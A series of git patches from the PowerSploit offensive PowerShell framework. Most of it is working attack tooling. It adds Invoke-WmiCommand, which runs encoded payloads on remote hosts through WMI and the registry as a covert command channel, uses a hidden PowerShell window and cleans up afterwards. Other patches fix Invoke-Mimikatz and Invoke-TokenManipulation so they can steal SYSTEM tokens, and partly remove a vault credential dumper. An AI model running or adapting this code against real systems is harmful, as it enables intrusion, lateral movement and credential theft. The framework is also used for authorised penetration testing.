root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete() + } + else + { + $vsc = Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy + foreach($copy in $vsc) + { + $copy.Delete() + } + } + } } function Mount-VolumeShadowCopy From c29f9b4743b5451e12d270da45072e72d1a480af Mon Sep 17 00:00:00 2001 From: Jared Atkinson Date: Wed, 8 Jul 2015 22:27:12 -0400 Subject: [PATCH 020/296] Cleaned up Remove-VSC and New-VSC - Changed Remove-VSC to have a single mandatory parameter (DevicePath) - Updated New-VSC to check initial state of the VSS Service and return VSS to its inital state after execution --- Exfiltration/VolumeShadowCopyTools.ps1 | 46 +++++++------------------- 1 file changed, 12 insertions(+), 34 deletions(-) diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1 index 6d47c343..49fe22de 100644 --- a/Exfiltration/VolumeShadowCopyTools.ps1 +++ b/Exfiltration/VolumeShadowCopyTools.ps1 @@ -77,6 +77,9 @@ function New-VolumeShadowCopy Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } + # Save VSS Service initial state + $running = (Get-Service -Name VSS).Status + $class = [WMICLASS]"root\cimv2:win32_shadowcopy" $return = $class.create("$Volume", "$Context") @@ -98,6 +101,12 @@ function New-VolumeShadowCopy 13 {Write-Error "Unknown error."; break} default {break} } + + # If VSS Service was Stopped at the start, return VSS to "Stopped" state + if($running -eq "Stopped") + { + Stop-Service -Name VSS + } } function Remove-VolumeShadowCopy @@ -134,14 +143,6 @@ function Remove-VolumeShadowCopy ----------- Removes all volume shadow copy -.EXAMPLE - - Get-WmiObject Win32_ShadowCopy | Remove-VolumeShadowCopy - - Description - ----------- - Removes all volume shadow copy - .EXAMPLE Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' @@ -150,13 +151,9 @@ function Remove-VolumeShadowCopy ----------- Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4 #> + [CmdletBinding(SupportsShouldProcess = $True)] Param( - [Parameter(Mandatory = $False, ValueFromPipeline = $True)] - [ValidateNotNullOrEmpty()] - [Object] - $InputObject, - - [Parameter(Mandatory = $False)] + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] [String] $DevicePath @@ -164,29 +161,10 @@ function Remove-VolumeShadowCopy PROCESS { - if($PSBoundParameters.ContainsKey("InputObject")) - { - if($InputObject.GetType().Name -eq "String") - { - (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $InputObject}).Delete() - } - else - { - $InputObject.Delete() - } - } - elseif($PSBoundParameters.ContainsKey("DevicePath")) + if($PSCmdlet.ShouldProcess("The VolumeShadowCopy at DevicePath $DevicePath will be removed")) { (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete() } - else - { - $vsc = Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy - foreach($copy in $vsc) - { - $copy.Delete() - } - } } } From 03ed2adb56a608a6e10cda8b924d76f5a3f0147f Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 23 Sep 2015 15:25:39 -0700 Subject: [PATCH 021/296] Adding Invoke-WmiCommand --- CodeExecution/CodeExecution.psd1 | 2 +- CodeExecution/Invoke-WmiCommand.ps1 | 334 ++++++++++++++++++++++++++++ README.md | 4 + 3 files changed, 339 insertions(+), 1 deletion(-) create mode 100644 CodeExecution/Invoke-WmiCommand.ps1 diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index b67cc9e1..8dc5b757 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1', - 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Usage.md' + 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1 new file mode 100644 index 00000000..6ee1e156 --- /dev/null +++ b/CodeExecution/Invoke-WmiCommand.ps1 @@ -0,0 +1,334 @@ +#Requires -Version 2 + +function Invoke-WmiCommand { +<# +.SYNOPSIS + +Executes a PowerShell ScriptBlock on a target computer using WMI as a +pure C2 channel. + +Author: Matthew Graeber +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Invoke-WmiCommand executes a PowerShell ScriptBlock on a target +computer using WMI as a pure C2 channel. It does this by using the +StdRegProv WMI registry provider methods to store a payload into a +registry value. The command is then executed on the victim system and +the output is stored in another registry value that is then retrieved +remotely. + +.PARAMETER Payload + +Specifies the payload to be executed on the remote system. + +.PARAMETER RegistryKeyPath + +Specifies the registry key where the payload and payload output will +be stored. + +.PARAMETER RegistryPayloadValueName + +Specifies the registry value name where the payload will be stored. + +.PARAMETER RegistryResultValueName + +Specifies the registry value name where the payload output will be +stored. + +.PARAMETER ComputerName + +Runs the command on the specified computers. The default is the local +computer. + +Type the NetBIOS name, an IP address, or a fully qualified domain +name of one or more computers. To specify the local computer, type +the computer name, a dot (.), or "localhost". + +This parameter does not rely on Windows PowerShell remoting. You can +use the ComputerName parameter even if your computer is not +configured to run remote commands. + +.PARAMETER Credential + +Specifies a user account that has permission to perform this action. +The default is the current user. Type a user name, such as "User01", +"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential +object, such as an object that is returned by the Get-Credential +cmdlet. When you type a user name, you will be prompted for a +password. + +.PARAMETER Impersonation + +Specifies the impersonation level to use. Valid values are: + +0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) + +1: Anonymous (Hides the credentials of the caller.) + +2: Identify (Allows objects to query the credentials of the caller.) + +3: Impersonate (Allows objects to use the credentials of the caller.) + +4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) + +.PARAMETER Authentication + +Specifies the authentication level to be used with the WMI connection. Valid values are: + +-1: Unchanged + +0: Default + +1: None (No authentication in performed.) + +2: Connect (Authentication is performed only when the client establishes a relationship with the application.) + +3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) + +4: Packet (Authentication is performed on all the data that is received from the client.) + +5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) + +6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) + +.PARAMETER EnableAllPrivileges + +Enables all the privileges of the current user before the command +makes the WMI call. + +.PARAMETER Authority + +Specifies the authority to use to authenticate the WMI connection. +You can specify standard NTLM or Kerberos authentication. To use +NTLM, set the authority setting to ntlmdomain:, where + identifies a valid NTLM domain name. To use Kerberos, +specify kerberos:. You cannot include the +authority setting when you connect to the local computer. + +.EXAMPLE + +PS C:\>Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1' + +.EXAMPLE + +PS C:\>$Hosts = Get-Content hostnames.txt +PS C:\>$Payload = Get-Content payload.ps1 +PS C:\>$Credential = Get-Credential 'TargetDomain\TargetUser' +PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential + +.EXAMPLE + +PS C:\>$Payload = Get-Content payload.ps1 +PS C:\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2' + +.EXAMPLE + +PS C:/>Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose + +.INPUTS + +System.String[] + +Accepts one or more host names/IP addresses over the pipeline. + +.OUTPUTS + +System.Management.Automation.PSObject + +Outputs a custom object consisting of the target computer name and +the output of the command executed. + +.NOTES + +In order to receive the output from your payload, it must return +actual objects. For example, Write-Host doesn't return objects +rather, it writes directly to the console. If you're using +Write-Host in your scripts though, you probably don't deserve to get +the output of your payload back. :P +#> + + [CmdletBinding()] + Param ( + [Parameter( Mandatory = $True )] + [ScriptBlock] + $Payload, + + [String] + [ValidateSet( 'HKEY_LOCAL_MACHINE', + 'HKEY_CURRENT_USER', + 'HKEY_CLASSES_ROOT', + 'HKEY_USERS', + 'HKEY_CURRENT_CONFIG' )] + $RegistryHive = 'HKEY_CURRENT_USER', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryKeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryPayloadValueName = 'Seed', + + [String] + [ValidateNotNullOrEmpty()] + $RegistryResultValueName = 'Value', + + [Parameter( ValueFromPipeline = $True )] + [Alias('Cn')] + [String[]] + [ValidateNotNullOrEmpty()] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential, + + [Management.ImpersonationLevel] + $Impersonation, + + [System.Management.AuthenticationLevel] + $Authentication, + + [Switch] + $EnableAllPrivileges, + + [String] + $Authority + ) + + BEGIN { + switch ($RegistryHive) { + 'HKEY_LOCAL_MACHINE' { $Hive = 2147483650 } + 'HKEY_CURRENT_USER' { $Hive = 2147483649 } + 'HKEY_CLASSES_ROOT' { $Hive = 2147483648 } + 'HKEY_USERS' { $Hive = 2147483651 } + 'HKEY_CURRENT_CONFIG' { $Hive = 2147483653 } + } + + $WmiMethodArgs = @{} + + # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod + if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential } + if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation } + if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication } + if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges } + if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority } + + $AccessPermissions = @{ + KEY_QUERY_VALUE = 1 + KEY_SET_VALUE = 2 + KEY_CREATE_SUB_KEY = 4 + KEY_CREATE = 32 + DELETE = 65536 + } + + # These are all of the registry permissions we'll require + $RequiredPermissions = $AccessPermissions['KEY_QUERY_VALUE'] -bor + $AccessPermissions['KEY_SET_VALUE'] -bor + $AccessPermissions['KEY_CREATE_SUB_KEY'] -bor + $AccessPermissions['KEY_CREATE'] -bor + $AccessPermissions['DELETE'] + } + + PROCESS { + foreach ($Computer in $ComputerName) { + # Pass the individual computer name to Invoke-WmiMethod + $WmiMethodArgs['ComputerName'] = $Computer + + Write-Verbose "[$Computer] Creating the following registry key: $RegistryHive\$RegistryKeyPath" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CreateKey' -ArgumentList $Hive, $RegistryKeyPath + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable to create the following registry key: $RegistryHive\$RegistryKeyPath" + } + + Write-Verbose "[$Computer] Validating read/write/delete privileges for the following registry key: $RegistryHive\$RegistryKeyPath" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'CheckAccess' -ArgumentList $Hive, $RegistryKeyPath, $RequiredPermissions + + if (-not $Result.bGranted) { + throw "[$Computer] You do not have permission to perform all the registry operations necessary for Invoke-WmiCommand." + } + + $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Payload)) + + Write-Verbose "[$Computer] Storing the payload into the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $EncodedPayload, $RegistryPayloadValueName + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable to store the payload in the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + } + + # Prep the script runner payload from the remote system + $PayloadRunnerArgs = @" + `$Hive = '$Hive' + `$RegistryKeyPath = '$RegistryKeyPath' + `$RegistryPayloadValueName = '$RegistryPayloadValueName' + `$RegistryResultValueName = '$RegistryResultValueName' + `n +"@ + + $RemotePayloadRunner = $PayloadRunnerArgs + { + $WmiMethodArgs = @{ + Namespace = 'Root\default' + Class = 'StdRegProv' + } + + $Result = Invoke-WmiMethod @WmiMethodArgs -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName + + if (($Result.ReturnValue -eq 0) -and ($Result.sValue)) { + $Payload = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Result.sValue)) + + $SerilizedPayloadResult = Invoke-Expression ($Payload) | % { + [Management.Automation.PSSerializer]::Serialize($_, 4) + } + + $null = Invoke-WmiMethod @WmiMethodArgs -Name 'SetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $SerilizedPayloadResult, $RegistryResultValueName + $null = Invoke-WmiMethod @WmiMethodArgs -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryPayloadValueName + } + } + + $Base64Payload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($RemotePayloadRunner)) + + $Cmdline = "powershell -WindowStyle Hidden -NoProfile -EncodedCommand $Base64Payload" + + # Execute the payload runner on the remote system + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\cimv2' -Class 'Win32_Process' -Name 'Create' -ArgumentList $Cmdline + + Start-Sleep -Seconds 5 + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable execute payload stored within the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + } + + Write-Verbose "[$Computer] Payload successfully executed from: $RegistryHive\$RegistryKeyPath\$RegistryPayloadValueName" + + $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetStringValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName + + if ($Result.ReturnValue -ne 0) { + throw "[$Computer] Unable retrieve the payload results from the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + } + + Write-Verbose "[$Computer] Payload results successfully retrieved from: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + + $SerilizedPayloadResult = $Result.sValue + $PayloadResult = [Management.Automation.PSSerializer]::Deserialize($SerilizedPayloadResult) + + $FinalResult = New-Object PSObject -Property @{ + PSComputerName = $Computer + PayloadOutput = $PayloadResult + } + + Write-Verbose "[$Computer] Removing the following registry value: $RegistryHive\$RegistryKeyPath\$RegistryResultValueName" + $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList $Hive, $RegistryKeyPath, $RegistryResultValueName + + Write-Verbose "[$Computer] Removing the following registry key: $RegistryHive\$RegistryKeyPath" + $null = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteKey' -ArgumentList $Hive, $RegistryKeyPath + + return $FinalResult + } + } +} diff --git a/README.md b/README.md index ed32e05f..4761e00f 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,10 @@ Injects shellcode into the process ID of your choosing or within PowerShell loca Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. +#### `Invoke-WmiCommand` + +Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. + ## ScriptModification **Modify and/or prepare scripts for execution on a compromised machine.** From 235af294aee9587c73bf82feff0566742a72c10b Mon Sep 17 00:00:00 2001 From: clymb3r Date: Wed, 30 Sep 2015 21:32:04 -0700 Subject: [PATCH 022/296] Fix for multi-processor systems Fix processor architecture detection for multi-processor systems. --- Exfiltration/Invoke-Mimikatz.ps1 | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index 02b1b8de..fc8365b0 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -2586,8 +2586,25 @@ $RemoteScriptBlock = { #Load the PE reflectively Write-Verbose "Calling Invoke-MemoryLoadLibrary" - if (((Get-WmiObject -Class Win32_Processor).AddressWidth / 8) -ne [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + try { + $Processors = Get-WmiObject -Class Win32_Processor + } + catch + { + throw ($_.Exception) + } + + if ($Processors -is [array]) + { + $Processor = $Processors[0] + } else { + $Processor = $Processors + } + + if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) ) + { + Write-Verbose ( "Architecture: " + $Processor.AddressWidth + " Process: " + ([System.IntPtr]::Size * 8)) Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop } From 17dd6835b97ee8c40e02319301e09be35770cd2f Mon Sep 17 00:00:00 2001 From: FixTheExchange Date: Fri, 30 Oct 2015 11:38:57 -0500 Subject: [PATCH 023/296] Update Invoke-TokenManipulation.ps1 Windows 10 breaks the current version of Invoke-TokenManipulation.ps1 because wininit is now a protected processes. Rather than hardcoding to a specific process to obtain a SYSTEM token, it's better to enumerate all processes running as SYSTEM and find one that works. I have updated the script to version 1.12 and added logic on lines 1689-1696 to make sure it can successfully grab a SYSTEM token necessary to function. --- Exfiltration/Invoke-TokenManipulation.ps1 | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index 7bfce3b4..bc680e51 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -49,8 +49,8 @@ Author: Joe Bialek, Twitter: @JosephBialek License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None -Version: 1.11 -(1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe) +Version: 1.12 +(1.11 -> 1.12: Simple logic added by Josh M. Bryant to find an unprotected process to grab a SYSTEM token from, rather than hardcoding to wininit, https://www.fixtheexchange.com/) .DESCRIPTION @@ -1685,8 +1685,15 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke $AllTokens = @() #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. - #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges, so impersonate the wininit token. - $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id + #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges. + #We need to enumrate all processes running as SYSTEM and find one that we can use. + $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq "NT AUTHORITY\SYSTEM"} + ForEach ($SystemToken in $SystemTokens) + { + $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue + $SystemProcessName = $SystemToken.Name + $SystemProcessID = $SystemToken.Id + } if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) { Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" From e179b2e9327135040b28cfc9719a2ffa0320a1f0 Mon Sep 17 00:00:00 2001 From: FixTheExchange Date: Fri, 30 Oct 2015 12:48:05 -0500 Subject: [PATCH 024/296] Update Invoke-TokenManipulation.ps1 Removed 2 unnecessary lines. --- Exfiltration/Invoke-TokenManipulation.ps1 | 2 -- 1 file changed, 2 deletions(-) diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index bc680e51..90f9d474 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -1691,8 +1691,6 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke ForEach ($SystemToken in $SystemTokens) { $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue - $SystemProcessName = $SystemToken.Name - $SystemProcessID = $SystemToken.Id } if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) { From 5a812ce82361bf65443fc9c545c091e21e98fe80 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 4 Nov 2015 13:40:02 -0500 Subject: [PATCH 025/296] Normalizing all files to ascii encoding --- .gitattributes | 63 +++ .gitignore | 2 + Exfiltration/Get-VaultCredential.ps1 | 401 ----------------- Exfiltration/VolumeShadowCopyTools.ps1 | 292 ------------- Mayhem/Mayhem.psd1 | 87 ---- Mayhem/Mayhem.psm1 | 366 ---------------- Recon/Get-ComputerDetails.ps1 | 580 ------------------------- 7 files changed, 65 insertions(+), 1726 deletions(-) create mode 100644 .gitattributes diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 00000000..1ff0c423 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,63 @@ +############################################################################### +# Set default behavior to automatically normalize line endings. +############################################################################### +* text=auto + +############################################################################### +# Set default behavior for command prompt diff. +# +# This is need for earlier builds of msysgit that does not have it on by +# default for csharp files. +# Note: This is only used by command line +############################################################################### +#*.cs diff=csharp + +############################################################################### +# Set the merge driver for project and solution files +# +# Merging from the command prompt will add diff markers to the files if there +# are conflicts (Merging from VS is not affected by the settings below, in VS +# the diff markers are never inserted). Diff markers may cause the following +# file extensions to fail to load in VS. An alternative would be to treat +# these files as binary and thus will always conflict and require user +# intervention with every merge. To do so, just uncomment the entries below +############################################################################### +#*.sln merge=binary +#*.csproj merge=binary +#*.vbproj merge=binary +#*.vcxproj merge=binary +#*.vcproj merge=binary +#*.dbproj merge=binary +#*.fsproj merge=binary +#*.lsproj merge=binary +#*.wixproj merge=binary +#*.modelproj merge=binary +#*.sqlproj merge=binary +#*.wwaproj merge=binary + +############################################################################### +# behavior for image files +# +# image files are treated as binary by default. +############################################################################### +#*.jpg binary +#*.png binary +#*.gif binary + +############################################################################### +# diff behavior for common document formats +# +# Convert binary document formats to text before diffing them. This feature +# is only available from the command line. Turn it on by uncommenting the +# entries below. +############################################################################### +#*.doc diff=astextplain +#*.DOC diff=astextplain +#*.docx diff=astextplain +#*.DOCX diff=astextplain +#*.dot diff=astextplain +#*.DOT diff=astextplain +#*.pdf diff=astextplain +#*.PDF diff=astextplain +#*.rtf diff=astextplain +#*.RTF diff=astextplain diff --git a/.gitignore b/.gitignore index e15a72de..071cc438 100644 --- a/.gitignore +++ b/.gitignore @@ -212,3 +212,5 @@ pip-log.txt #Mr Developer .mr.developer.cfg +*.pssproj +*.sln diff --git a/Exfiltration/Get-VaultCredential.ps1 b/Exfiltration/Get-VaultCredential.ps1 index c830fa22..e69de29b 100644 --- a/Exfiltration/Get-VaultCredential.ps1 +++ b/Exfiltration/Get-VaultCredential.ps1 @@ -1,401 +0,0 @@ -function Get-VaultCredential -{ -<# -.SYNOPSIS - -Displays Windows vault credential objects including cleartext web credentials. - -PowerSploit Function: Get-VaultCredential -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Get-VaultCredential enumerates and displays all credentials stored in the Windows -vault. Web credentials, specifically are displayed in cleartext. This script was -inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt - -.EXAMPLE - -Get-VaultCredential - -.NOTES - -Only web credentials can be displayed in cleartext. -#> - [CmdletBinding()] Param() - - $OSVersion = [Environment]::OSVersion.Version - $OSMajor = $OSVersion.Major - $OSMinor = $OSVersion.Minor - - #region P/Invoke declarations for vaultcli.dll - $DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False) - - $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32]) - $null = $EnumBuilder.DefineLiteral('Undefined', -1) - $null = $EnumBuilder.DefineLiteral('Boolean', 0) - $null = $EnumBuilder.DefineLiteral('Short', 1) - $null = $EnumBuilder.DefineLiteral('UnsignedShort', 2) - $null = $EnumBuilder.DefineLiteral('Int', 3) - $null = $EnumBuilder.DefineLiteral('UnsignedInt', 4) - $null = $EnumBuilder.DefineLiteral('Double', 5) - $null = $EnumBuilder.DefineLiteral('Guid', 6) - $null = $EnumBuilder.DefineLiteral('String', 7) - $null = $EnumBuilder.DefineLiteral('ByteArray', 8) - $null = $EnumBuilder.DefineLiteral('TimeStamp', 9) - $null = $EnumBuilder.DefineLiteral('ProtectedArray', 10) - $null = $EnumBuilder.DefineLiteral('Attribute', 11) - $null = $EnumBuilder.DefineLiteral('Sid', 12) - $null = $EnumBuilder.DefineLiteral('Last', 13) - $VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType() - - $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32]) - $null = $EnumBuilder.DefineLiteral('Illegal', 0) - $null = $EnumBuilder.DefineLiteral('Resource', 1) - $null = $EnumBuilder.DefineLiteral('Identity', 2) - $null = $EnumBuilder.DefineLiteral('Authenticator', 3) - $null = $EnumBuilder.DefineLiteral('Tag', 4) - $null = $EnumBuilder.DefineLiteral('PackageSid', 5) - $null = $EnumBuilder.DefineLiteral('AppStart', 100) - $null = $EnumBuilder.DefineLiteral('AppEnd', 10000) - $VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType() - - $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind]) - $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet') - $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor, - @([Runtime.InteropServices.LayoutKind]::Explicit), - $CharsetField, - @([Runtime.InteropServices.CharSet]::Ansi)) - $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - - $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4) - $null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public') - $null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public') - $null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public') - $null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public') - $null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public') - if ($OSMajor -ge 6 -and $OSMinor -ge 2) - { - $null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public') - } - $null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public') - $null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') - $null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public') - $null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public') - $VAULT_ITEM = $TypeBuilder.CreateType() - - $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - $null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0) - $null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8) - $VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType() - - - $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class') - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault', - 'vaultcli.dll', - 'Public, Static', - [Reflection.CallingConventions]::Standard, - [Int32], - [Type[]] @([Guid].MakeByRefType(), - [UInt32], - [IntPtr].MakeByRefType()), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto) - - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault', - 'vaultcli.dll', - 'Public, Static', - [Reflection.CallingConventions]::Standard, - [Int32], - [Type[]] @([IntPtr].MakeByRefType()), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto) - - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree', - 'vaultcli.dll', - 'Public, Static', - [Reflection.CallingConventions]::Standard, - [Int32], - [Type[]] @([IntPtr]), - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto) - - $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults', - 'vaultcli.dll', - 